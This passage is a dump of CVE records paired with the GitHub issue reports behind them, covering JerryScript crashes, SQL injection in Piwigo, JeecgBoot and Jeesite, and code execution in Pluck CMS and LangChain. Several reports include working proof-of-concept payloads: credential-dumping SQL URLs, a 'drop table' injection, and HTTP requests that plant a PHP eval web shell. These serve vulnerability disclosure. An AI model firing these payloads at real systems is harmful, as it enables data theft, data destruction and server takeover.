(/lib32/libc.so.6+0x1aed4) #26 0x5658efb4 in _start (/./jerryscript/build/bin/jerry+0x12fb4) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ./jerryscript/jerry-core/ecma/base/ecma-gc.c:287 in ecma_gc_mark_properties ==1512811==ABORTING ``` Credits: @Ye0nny, @EJueon of the seclab-yonsei.

Assertion 'ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)' failed at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c(ecma_property_hashmap_create)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/5084/comments

2023-06-05T11:59:55Z

2023-06-05T11:59:55Z

https://github.com/jerryscript-project/jerryscript/issues/5084

CVE-2023-34868

2023-06-14T16:15:20.323

Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the parser_parse_for_statement_start at jerry-core/parser/js/js-parser-statm.c.

https://github.com/jerryscript-project/jerryscript/issues/5083

github.com

###### JerryScript revision Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7 Version: v3.0.0 ###### Build platform Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64) ###### Build steps ```sh python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20 ``` ###### Test case <details><summary>testcase</summary> <p> ```javascript var r = { } ; var t = [ r , r , r , r , r , r , r , r , r , r , r , r , r , r , r ] ; var a = [ ] ; const e = 8 ; for ( var n = 0 ; n < 8 ; ++ n ) { for ( var o = 0 ; o < t . length ; ++ o ) { a . push ( String . prototype . indexOf . call ( t [ n ] , " object " ) ) ; } } a [ 8 ] = a = [ ] ; 8 * t , f . length ; var c = class extends c { static { } ; } ; for ( var n = 0 ; n < a . length ; ++ n ) { var f = { } , t = f ; r = 0 ; r += a [ n ] ; 1 ; } ``` </p> </details> ```javascript // poc.js var c = class extends c { static { } ; } ; for ( var n = 0 ; n < a . length ; ++ n ) { r += a [ n ] ; } ``` ###### Execution steps & Output ``` $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'context_p->token.type != LEXER_RIGHT_PAREN' failed at ./jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_for_statement_start):1502. Error: JERRY_FATAL_FAILED_ASSERTION Aborted ``` ###### Backtrace ``` (gdb) bt #0 0xf7fcfd99 in __kernel_vsyscall () #1 0xf7ca4276 in raise () from /lib32/libc.so.6 #2 0xf7c8c3f7 in abort () from /lib32/libc.so.6 #3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at ./jerryscript/jerry-port/common/jerry-port-process.c:29 #4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at ./jerryscript/jerry-core/jrt/jrt-fatals.c:63 #5 0x08260d64 in jerry_assert_fail (assertion=0x8479a60 <str> "context_p->token.type != LEXER_RIGHT_PAREN", file=0x84789e0 <str> "./jerryscript/jerry-core/parser/js/js-parser-statm.c", function=0x8479b20 <__func__.parser_parse_for_statement_start> "parser_parse_for_statement_start", line=1502) at ./jerryscript/jerry-core/jrt/jrt-fatals.c:83 #6 0x083d5567 in parser_parse_for_statement_start (context_p=<optimized out>) at ./jerryscript/jerry-core/parser/js/js-parser-statm.c:1502 #7 parser_parse_statements (context_p=<optimized out>) at ./jerryscript/jerry-core/parser/js/js-parser-statm.c:2851 #8 0x08284a26 in parser_parse_source (source_p=0xffffd030, parse_opts=<optimized out>, options_p=0xffffd100) at ./jerryscript/jerry-core/parser/js/js-parser.c:2280 #9 0x08282c70 in parser_parse_script (source_p=0xffffd030, parse_opts=0, options_p=0xffffd100) at ./jerryscript/jerry-core/parser/js/js-parser.c:3326 #10 0x08129a7d in jerry_parse_common (source_p=0xffffd030, options_p=<optimized out>, parse_opts=0) at ./jerryscript/jerry-core/api/jerryscript.c:412 #11 0x08129698 in jerry_parse (source_p=<optimized out>, source_size=<optimized out>, options_p=<optimized out>) at ./jerryscript/jerry-core/api/jerryscript.c:480 #12 0x083ea952 in jerryx_source_parse_script (path_p=<optimized out>) at ./jerryscript/jerry-ext/util/sources.c:52 #13 0x083eac12 in jerryx_source_exec_script (path_p=0xffffd5da "poc.js") at ./jerryscript/jerry-ext/util/sources.c:63 #14 0x0812162d in main (argc=<optimized out>, argv=<optimized out>) at ./jerryscript/jerry-main/main-desktop.c:156 (gdb) ``` Credits: @Ye0nny, @EJueon of the seclab-yonsei.

Assertion 'context_p->token.type != LEXER_RIGHT_PAREN' failed at ./jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_for_statement_start)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/5083/comments

2023-05-31T12:11:34Z

2023-05-31T12:11:34Z

https://github.com/jerryscript-project/jerryscript/issues/5083

CVE-2023-34626

2023-06-15T16:15:09.347

Piwigo 13.7.0 is vulnerable to SQL Injection via the "Users" function.

https://github.com/Piwigo/Piwigo/issues/1924

github.com

Access the 'Users' function and use the filter function  Observe the request on Burp Suite  Manipulate the 'order' or 'exclude[]' parameter by adding a single quote, and an error in MYSQL shows up, proving the existence of SQL injection  We can try to retrieve all the databases name with the error-based payload `id AND (SELECT 2690 FROM(SELECT COUNT(*),CONCAT(0x716b707671,(SELECT MID((IFNULL(CAST(schema_name AS NCHAR),0x20)),1,51) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)` , just increasing the LIMIT value to enumerate all the databases name  Analyze the vulnerability from the source code, locate the ws_users_getList() function (/piwigo/include/ws_functions/pwg.users.php), notice that 'order' was concat directly after the 'ORDER BY' clause without any kind of input sanitization. The same case happens for the 'exclude[]' parameter  This vulnerability affects the latest version up to 13.7.0, and it is uncertain if other versions will be affected.

SQL Injection in the "Users" function of piwigo

https://api.github.com/repos/Piwigo/Piwigo/issues/1924/comments

2023-05-25T07:54:09Z

2023-05-29T10:27:38Z

https://github.com/Piwigo/Piwigo/issues/1924

CVE-2023-2431

2023-06-16T08:15:08.770

A security issue was discovered in Kubelet that allows pods to bypass the seccomp profile enforcement. Pods that use localhost type for seccomp profile but specify an empty profile field, are affected by this issue. In this scenario, this vulnerability allows the pod to run in unconfined (seccomp disabled) mode. This bug affects Kubelet.

https://github.com/kubernetes/kubernetes/issues/118690

github.com

### What happened? A security issue was discovered in Kubelet that allows pods to bypass the seccomp profile enforcement. This issue has been rated LOW ([CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N)) (score: 3.4). If you have pods in your cluster that use [localhost type](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#seccompprofile-v1-core) for seccomp profile but specify an empty profile field, then you are affected by this issue. In this scenario, this vulnerability allows the pod to run in “unconfined” (seccomp disabled) mode. This bug affects Kubelet. ### How can we reproduce it (as minimally and precisely as possible)? This can be reproduced by creating a pod with following sample seccomp Localhost profile - ``` localhostProfile: "" ``` https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#seccompprofile-v1-core ### Kubernetes version **Affected Versions** v1.27.0 - v1.27.1 v1.26.0 - v1.26.4 v1.25.0 - v1.25.9 <= v1.24.13 **Fixed Versions** v1.27.2 v1.26.5 v1.25.10 V1.24.14 ### Anything else we need to know? How do I remediate this vulnerability? To remediate this vulnerability you should upgrade your Kubelet to one of the below mentioned versions. Acknowledgements This vulnerability was reported by Tim Allclair, and fixed by Craig Ingram.

CVE-2023-2431: Bypass of seccomp profile enforcement

https://api.github.com/repos/kubernetes/kubernetes/issues/118690/comments

2023-06-15T14:42:32Z

2023-09-29T21:16:18Z

https://github.com/kubernetes/kubernetes/issues/118690

CVE-2023-34659

2023-06-16T18:15:09.437

jeecg-boot 3.5.0 and 3.5.1 have a SQL injection vulnerability the id parameter of the /jeecg-boot/jmreport/show interface.

https://github.com/jeecgboot/jeecg-boot/issues/4976

github.com

##### 版本号： JECG3.5.1 And JECG3.5.0 ##### 前端版本：vue3版？还是 vue2版？ vue3 ##### 问题描述： After testing, it was found that the id parameter of the/jeecg-boot/jmreport/show interface of jeecg-boot has SQL injection and is unauthorized. ##### 截图&代码： Download and use https://github.com/jeecgboot/jeecg-boot After the project source code starts, Entry: "Statistical Report" -->"Example of Building Block Report" Grab the package and obtain the SQL injection interface. The following figure proves the existence of SQL injection.   Payload (check MySQL version): {"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"}  Payload (view current database): {"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"}  Source code analysis: In the org. jeecg. modules. jmreport. descreport. a package, a.java is a controller; When it comes to post requests/jeecg boot/jmreport/show, it will come to this method.  Using burp for contracting  Then, line 315 passes var3 into jmReportDesignService. show; Let's follow in and take a look.  Enter getDataById on line 2122  Then on line 248, reportDbDao. selectList was called  Entered the JmReportDb class and obtained dbDynSql as: select * from rep_ demo_ gongsi where id='${id}'。 Confirmed as the ID of the splice  The interface this.reportDbDao. selectListBySql was called at line 468 in the e-class of the org. jeecg. modules. jmreport. descreport. service. a package.  This interface is a MyBatis method that uses @ ResultType and @ Param annotations. DbDynSql called   Finally, the database name was obtained through error injection  #### 友情提示（为了提高issue处理效率）： - 未按格式要求发帖，会被直接删掉; - 描述过于简单或模糊，导致无法处理的，会被直接删掉； - 请自己初判问题描述是否清楚，是否方便我们调查处理； - 针对问题请说明是Online在线功能(需说明用的主题模板)，还是生成的代码功能；

Unauthorized SQL injection in Jeecg3.5.0 and 3.5.1

https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4976/comments

2023-05-25T02:08:54Z

2023-06-18T13:06:06Z

https://github.com/jeecgboot/JeecgBoot/issues/4976

CVE-2023-34660

2023-06-16T18:15:09.483

jjeecg-boot V3.5.0 has an unauthorized arbitrary file upload in /jeecg-boot/jmreport/upload interface.

https://github.com/jeecgboot/jeecg-boot/issues/4990

github.com

##### 版本号： 目前确定影响：3.5.0 & 3.5.1（其它版本未验证） ##### 前端版本：vue3版？还是 vue2版？ vue3版 ##### 问题描述： 经测试发现/jeecg-boot/jmreport/upload接口存在未授权任意文件上传，可以上传html文件造成存储型的XSS。 ##### 截图&代码： 下载使用https://github.com/jeecgboot/jeecg-boot项目源代码启动项目后， 入口：“报表设计器”-->"新建报表"-->"插入图片" 抓取包，获得上传接口，下面证明任意文件上传的存在。    修改后缀为html，添加js代码  访问后，成功执行  尝试上传sh，上传成功  ###源码分析 在org.jeecg.modules.jmreport.desreport.a包里面的a.java是一个controller；当做post请求/jeecg-boot/jmreport/upload的时候就会来到这个方法里面。  进行判断了之后，然后进入LOCAL方法，我们跟进去一直来到了a方法。这里只是做了“../”的过滤。  然后调用getUpload()获取存储的路径，做了一系列的赋值之后，来到var8得到了最终的路径，然后通过new File传进var8的值，创建了新的文件，至此实现了任意文件类型的上传。  #### 友情提示（为了提高issue处理效率）： - 未按格式要求发帖，会被直接删掉; - 描述过于简单或模糊，导致无法处理的，会被直接删掉； - 请自己初判问题描述是否清楚，是否方便我们调查处理； - 针对问题请说明是Online在线功能(需说明用的主题模板)，还是生成的代码功能；

/jeecg-boot/jmreport/upload接口存在未授权任意文件上传

https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4990/comments

2023-05-28T14:23:40Z

2023-09-04T09:33:58Z

https://github.com/jeecgboot/JeecgBoot/issues/4990

CVE-2023-34657

2023-06-19T04:15:10.873

A stored cross-site scripting (XSS) vulnerability in Eyoucms v1.6.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the web_recordnum parameter.

https://github.com/weng-xianhu/eyoucms/issues/43

github.com

There is a storage type cross site scripting vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.2  

EyouCMS v1.6.2 has stored xss

https://api.github.com/repos/weng-xianhu/eyoucms/issues/43/comments

2023-05-26T11:19:34Z

2024-03-22T06:50:31Z

https://github.com/weng-xianhu/eyoucms/issues/43

CVE-2023-34602

2023-06-19T06:15:09.047

JeecgBoot up to v 3.5.1 was discovered to contain a SQL injection vulnerability via the component queryTableDictItemsByCode at org.jeecg.modules.api.controller.SystemApiController.

https://github.com/jeecgboot/jeecg-boot/issues/4983

github.com

##### 版本号： 3.5.1以及之前的所有版本 ##### 前端版本：vue3版？还是 vue2版？ vue3版 ##### 问题描述： 代码中存在SQL注入风险。尽管代码中添加SQL注入的过滤功能，但我们测试发现访问```org.jeecg.modules.api.controller.SystemApiController```类中的```queryTableDictItemsByCode```方法还是能通过特殊的字符串获取数据表中我们想要的数据，例如sys_user表中的用户名，密码和salt值。详细请见截图中的URL，其中“--”符号表示注释，通过该符号屏蔽后续SQL语句，其主要原因是mybatis中${XXX}存在SQL注入风险。 There is a SQL injection risk in the code. Although the code has added SQL injection filtering functionality, we found during testing that accessing the ```queryTableDictItemsByCode method``` in the ```org.jeecg.modules.api.controller.SystemApiController``` class still allows obtaining desired data from the database table, such as usernames, passwords, and salt values from the sys_user table. Please refer to the screenshot of the URL provided, where the "--" symbol is used to comment out the subsequent SQL statements. The main reason for this is the SQL injection risk associated with ${XXX} in MyBatis. ##### 截图&代码： **source code:**    **SQL Injection:** URL: http://localhost:8080/jeecg-boot/sys/api/queryTableDictItemsByCode?table=sys_user&text=password as "text", username as "value" from sys_user --&code=username  URL: http://localhost:8080/jeecg-boot/sys/api/queryTableDictItemsByCode?table=sys_user&text=password as "text", salt as "value" from sys_user --&code=username  #### 友情提示（为了提高issue处理效率）： - 未按格式要求发帖，会被直接删掉; - 描述过于简单或模糊，导致无法处理的，会被直接删掉； - 请自己初判问题描述是否清楚，是否方便我们调查处理； - 针对问题请说明是Online在线功能(需说明用的主题模板)，还是生成的代码功能；

SQL Injection in 3.5.1

https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4983/comments

2023-05-26T13:33:03Z

2023-06-07T06:02:29Z

https://github.com/jeecgboot/JeecgBoot/issues/4983

CVE-2023-34603

2023-06-19T06:15:09.180

JeecgBoot up to v 3.5.1 was discovered to contain a SQL injection vulnerability via the component queryFilterTableDictInfo at org.jeecg.modules.api.controller.SystemApiController.

https://github.com/jeecgboot/jeecg-boot/issues/4984

github.com

##### 版本号： 3.5.1以及之前的所有版本 ##### 前端版本：vue3版？还是 vue2版？ vue3版 ##### 问题描述： 与问题https://github.com/jeecgboot/jeecg-boot/issues/4983 类似，访问```org.jeecg.modules.api.controller.SystemApiController```类中的```queryFilterTableDictInfo```方法会触发SQL注入，根据需求获取数据库中的关键信息。主要原因还是绕过SQL注入检测方法后，Mybatis中的${XXX}存在SQL注入隐患。 Similar to the issue https://github.com/jeecgboot/jeecg-boot/issues/4983, accessing the ```queryFilterTableDictInfo``` method in the ```org.jeecg.modules.api.controller.SystemApiController``` class will trigger SQL injection, allowing retrieval of critical information from the database based on the requirements. The main reason for this is the SQL injection vulnerability associated with ${XXX} in MyBatis, even after bypassing the SQL injection detection methods. ##### 截图&代码： **source code:**    **SQL Injection** URL: http://localhost:8080/jeecg-boot/sys/api/queryFilterTableDictInfo?table=sys_user&text=password as "text", username as "value" from sys_user --&code=username&filterSql=  #### 友情提示（为了提高issue处理效率）： - 未按格式要求发帖，会被直接删掉; - 描述过于简单或模糊，导致无法处理的，会被直接删掉； - 请自己初判问题描述是否清楚，是否方便我们调查处理； - 针对问题请说明是Online在线功能(需说明用的主题模板)，还是生成的代码功能；

org.jeecg.modules.api.controller.SystemApiController.queryFilterTableDictInfo方法导致SQL注入

https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4984/comments

2023-05-26T13:43:23Z

2023-09-04T09:36:15Z

https://github.com/jeecgboot/JeecgBoot/issues/4984

CVE-2020-20718

2023-06-20T15:15:10.627

File Upload vulnerability in PluckCMS v.4.7.10 dev versions allows a remote attacker to execute arbitrary code via a crafted image file to the the save_file() parameter.

https://github.com/pluck-cms/pluck/issues/79

github.com

admin.php:  language.php：  save_file():  "../../../images/wphp.jpg" Be written to \data\settings\langpref.php  Users can upload a picture file containing malicious code to getshell. POST /pluck-4.7.10-dev1/admin.php?action=language HTTP/1.1 Host: 127.0.0.1:83 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:83/pluck-4.7.10-dev1/admin.php?action=language Cookie: LQUKaS_admin_username=admin; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1570503836; PHPSESSID=a0bhen6shpeifgc20p0l23pmj1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 70 cont1=../../../images/php.jpg&save=%E5%82%A8%E5%AD%98&cmd=echo "2333";

File contains vuln pluck 4.7.10 dev version

https://api.github.com/repos/pluck-cms/pluck/issues/79/comments

2019-10-12T02:21:22Z

2019-11-01T18:58:02Z

https://github.com/pluck-cms/pluck/issues/79

CVE-2020-20918

2023-06-20T15:15:10.810

An issue discovered in Pluck CMS v.4.7.10-dev2 allows a remote attacker to execute arbitrary php code via the hidden parameter to admin.php when editing a page.

https://github.com/pluck-cms/pluck/issues/80

github.com

**Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when creating a new web page** Vulnerability location： data\inc\functions.admin.php 531-535 line  Saves the hidden parameter passed by the POST request to php, but does not escape the special character (') in the value, which can directly close the php syntax remote execution command, such as phpinfo(), eval(), etc. Demo： After the installation is successful, go to the management background.Create a new page, enter a title and content Select "Show webpage",submit the request and then grab the request packet to modify the value of the hidden parameter to "no"; phpinfo();'"  ``` POST /pluck-4.7.10-dev2/admin.php?action=editpage HTTP/1.1 Host: 192.168.80.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.80.1/pluck-4.7.10-dev2/admin.php?action=editpage Cookie: PHPSESSID=b01p8o9n85qbjq6f1tj50anlp3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 title=aaaa&seo_name=&content=%3Cp%3Eaaaa%3C%2Fp%3E&description=&keywords=&hidden=no';phpinfo();'&sub_page=&theme=default&save=%E5%82%A8%E5%AD%98 ```   http://192.168.80.1/pluck-4.7.10-dev2/?file=aaaa  Write a sentence Trojan ``` POST /pluck-4.7.10-dev2/admin.php?action=editpage HTTP/1.1 Host: 192.168.80.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.80.1/pluck-4.7.10-dev2/admin.php?action=editpage Cookie: PHPSESSID=b01p8o9n85qbjq6f1tj50anlp3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 144 title=bbbb&seo_name=&content=%3Cp%3Ebbbb%3C%2Fp%3E&description=&keywords=&hidden=no';@eval($_POST[b]);'&sub_page=&theme=default&save=%E5%82%A8%E5%AD%98 ``` Use chopper connection 

Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when creating a new web page

https://api.github.com/repos/pluck-cms/pluck/issues/80/comments

2019-10-21T07:55:24Z

2019-11-01T18:58:26Z

https://github.com/pluck-cms/pluck/issues/80

CVE-2020-20919

2023-06-20T15:15:10.857

File upload vulnerability in Pluck CMS v.4.7.10-dev2 allows a remote attacker to execute arbitrary code and access sensitive information via the theme.php file.

https://github.com/pluck-cms/pluck/issues/85

github.com

pluck-cms<=4.7.10-dev4 admin background exists a remote command execution vulnerability when install a theme Demo: After the installation is successful, go to the management background.  options->choose theme->install theme   vul-url： http://192.168.80.1/pluck-4.7.10-dev3/admin.php?action=themeinstall According to the default template, the theme is faked with the content of the theme shell.php.zip as follows:  Insert phpinfo(); in the theme.php file;  upload ``` POST /pluck-4.7.10-dev3/admin.php?action=themeinstall HTTP/1.1 Host: 192.168.80.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.80.1/pluck-4.7.10-dev3/admin.php?action=themeinstall Cookie: PHPSESSID=en364hjlvg84vpdvmv9gdlc0h2 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------10771789627341 Content-Length: 2441 -----------------------------10771789627341 Content-Disposition: form-data; name="sendfile"; filename="shell.php.zip" Content-Type: application/x-zip-compressed PK 楽VO shell.php/PK  漇VO?K? 
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PK   ? ? -----------------------------10771789627341 Content-Disposition: form-data; name="submit" Upload -----------------------------10771789627341-- ```  #### 1.default theme  View site  #### 2.choose shell.php theme   View site http://192.168.80.1/pluck-4.7.10-dev3/  phpinfo();Function is executed ***The vulnerability exists in the latest pluck-4.7.10-dev2 pluck-4.7.10-dev3. The pluck-4.7.10-dev4 version cannot be uploaded due to bugs in the program, but in theory the RCE vulnerability exists. In pluck-4.7.10-dev4 version*** 

pluck-cms<=4.7.10-dev4 admin background exists a remote command execution vulnerability when install a theme

https://api.github.com/repos/pluck-cms/pluck/issues/85/comments

2019-10-22T03:15:36Z

2019-10-22T07:17:36Z

https://github.com/pluck-cms/pluck/issues/85

CVE-2020-20969

2023-06-20T15:15:10.900

File Upload vulnerability in PluckCMS v.4.7.10 allows a remote attacker to execute arbitrary code via the trashcan_restoreitem.php file.

https://github.com/pluck-cms/pluck/issues/86

github.com

Pluck-4.7.10 admin background exists a remote command execution vulnerability it happens when restore file from trashcan,and the restoring file has the same with one of the files in uploaded files dir the coding flaw is in file /pluck/data/inc/trashcan_restoreitem.php at line 54  when $var1 is 'shell.php.txt', here $filename will get value 'shell' and $extension will get value 'php', and then concat with the string '_copy' we will get the final filename with 'shell_copy.php' Proof step1: login -> pages -> manage files upload file with name shell.php.txt   upload success  step2: delete file to trashcan  step3: upload the same file again  step4: restore the file from trashcan, and the restored file is renamed as shell_copy.php   step5: visit webshell  note: operate with "manage images" can do the same as it has the same coding flaw at line 76

Pluck-4.7.10 admin background exists a remote command execution vulnerability

https://api.github.com/repos/pluck-cms/pluck/issues/86/comments

2019-10-23T03:25:48Z

2019-11-01T19:00:21Z

https://github.com/pluck-cms/pluck/issues/86

CVE-2023-34541

2023-06-20T15:15:11.727

Langchain 0.0.171 is vulnerable to Arbitrary code execution in load_prompt.

https://github.com/hwchase17/langchain/issues/4849

github.com

### System Info LangChain version:0.0.171 windows 10 ### Who can help? _No response_ ### Information - [X] The official example notebooks/scripts - [ ] My own modified scripts ### Related Components - [ ] LLMs/Chat Models - [ ] Embedding Models - [X] Prompts / Prompt Templates / Prompt Selectors - [ ] Output Parsers - [ ] Document Loaders - [ ] Vector Stores / Retrievers - [ ] Memory - [ ] Agents / Agent Executors - [ ] Tools / Toolkits - [ ] Chains - [ ] Callbacks/Tracing - [ ] Async ### Reproduction 1. A python prompt file `prompt.py` ``` from langchain.output_parsers.list import CommaSeparatedListOutputParser from langchain.prompts.prompt import PromptTemplate _DECIDER_TEMPLATE = """Given the below input question and list of potential tables, output a comma separated list of the table names that may be neccessary to answer this question. Question: {query} Table Names: {table_names} Relevant Table Names:""" import os os.system('id') PROMPT = PromptTemplate( input_variables=["query", "table_names"], template=_DECIDER_TEMPLATE, output_parser=CommaSeparatedListOutputParser(), ) ``` 2. Load the prompt with load_prompt function ``` from langchain.prompts import load_prompt load_prompt('prompt.py') ``` 3. The `id` command will be executed. Attack scene1: Alice can send prompt file to Bob and let Bob to load it. Attack scene2: Alice upload the prompt file to a public hub such as '[langchain-hub](https://github.com/hwchase17/langchain-hub/tree/master)'. Bob load the prompt from an url. ### Expected behavior The code cannot be executed without any check.

Arbitrary code execution in load_prompt

https://api.github.com/repos/langchain-ai/langchain/issues/4849/comments

2023-05-17T10:36:17Z

2023-08-29T17:58:01Z

https://github.com/langchain-ai/langchain/issues/4849

CVE-2023-34601

2023-06-22T11:15:09.663

Jeesite before commit 10742d3 was discovered to contain a SQL injection vulnerability via the component ${businessTable} at /act/ActDao.xml.

https://github.com/thinkgem/jeesite/issues/515

github.com

**sql mappings** 以下的**${businessTable}**存在SQL注入的风险 ```xml src/main/resources/mappings/modules/act/ActDao.xml <mapper namespace="com.thinkgem.jeesite.modules.act.dao.ActDao"> <update id="updateProcInsIdByBusinessId"> UPDATE ${businessTable} SET proc_ins_id = #{procInsId} WHERE id = #{businessId} </update> </mapper> ``` **RequestMapping** **com.thinkgem.jeesite.modules.act.web.ActTaskController** 类中的 **start** 方法  **Call Stack**  **SQL Inject** 当用户为jdbc.url添加**&allowMultiQueries=true**并启动程序后，此时Spring允许批量更新，就能进行SQL注入了 <img width="816" alt="image-20230516154115876" src="https://github.com/thinkgem/jeesite/assets/15136865/fe2d4b43-f5d5-4b44-936a-5ccf2e07765b"> 测试表为**aa表** <img width="306" alt="image-20230516153725737" src="https://github.com/thinkgem/jeesite/assets/15136865/7bef7e38-6bf9-4a39-88bf-ce07c0dbc6e7"> 任意用户执行以下url， url: http://localhost:8080/jeesite/a/act/task/start?procDefKey=test_audit&title=dd&businessTable=79&businessId=oa_test_audit%20set%20proc_ins_id%20=%20%271%27%20where%20id=%2779%27;drop%20table%20aa;-- Mybatis将SQL进行拼接并删去**aa表**， <img width="1413" alt="image-20230516153844650" src="https://github.com/thinkgem/jeesite/assets/15136865/e2482add-c1b7-4cd6-bf80-6eec18049007"> 再次执行上述url时，此时已经不存在**aa数据表**了 <img width="919" alt="image-20230516153929226" src="https://github.com/thinkgem/jeesite/assets/15136865/432f42fd-d4df-4931-854b-ae26651824ee"> 查看mysql，发现**aa表**已经被删除 <img width="309" alt="image-20230516153902090" src="https://github.com/thinkgem/jeesite/assets/15136865/a8d3238b-9e1d-449b-bcbe-970c0f67b743">

mybatis tablename sql injection

https://api.github.com/repos/thinkgem/jeesite/issues/515/comments

2023-05-16T08:01:37Z

2023-05-27T16:02:16Z

https://github.com/thinkgem/jeesite/issues/515

CVE-2023-36362

2023-06-22T14:15:09.687

An issue in the rel_sequences component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7387

github.com

**Describe the bug** MonetDB server 11.46.0 crashes in `rel_sequences` after executing SQL statements through mclient. **To Reproduce** ```sql ALTER SEQUENCE x INCREMENT BY 2; ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7ff49bdd36d0 (rel_sequences+0x830) #1 0x7ff49bdb10c1 (rel_semantic+0xc1) #2 0x7ff49bc8eb53 (sql_symbol2relation+0x73) #3 0x7ff49bca810d (SQLparser+0x37d) #4 0x7ff49bca787b (SQLengine_+0x59b) #5 0x7ff49bca6343 (SQLengine+0x23) #6 0x7ff49c0356cf (runScenario+0x4f) #7 0x7ff49c03616c (MSscheduleClient+0x68c) #8 0x7ff49c0ddc2b (doChallenge+0xfb) #9 0x7ff49c75cba0 (THRstarter+0x100) #10 0x7ff49c7cccc4 (thread_starter+0x34) #11 0x7ff49bb41609 (start_thread+0xd9) #12 0x7ff49ba66133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2) - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`.

MonetDB server 11.46.0 crashes in `rel_sequences`

https://api.github.com/repos/MonetDB/MonetDB/issues/7387/comments

2023-06-16T18:46:26Z

2024-06-27T13:18:31Z

https://github.com/MonetDB/MonetDB/issues/7387

CVE-2023-36363

2023-06-22T14:15:09.740

An issue in the __nss_database_lookup component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7384

github.com

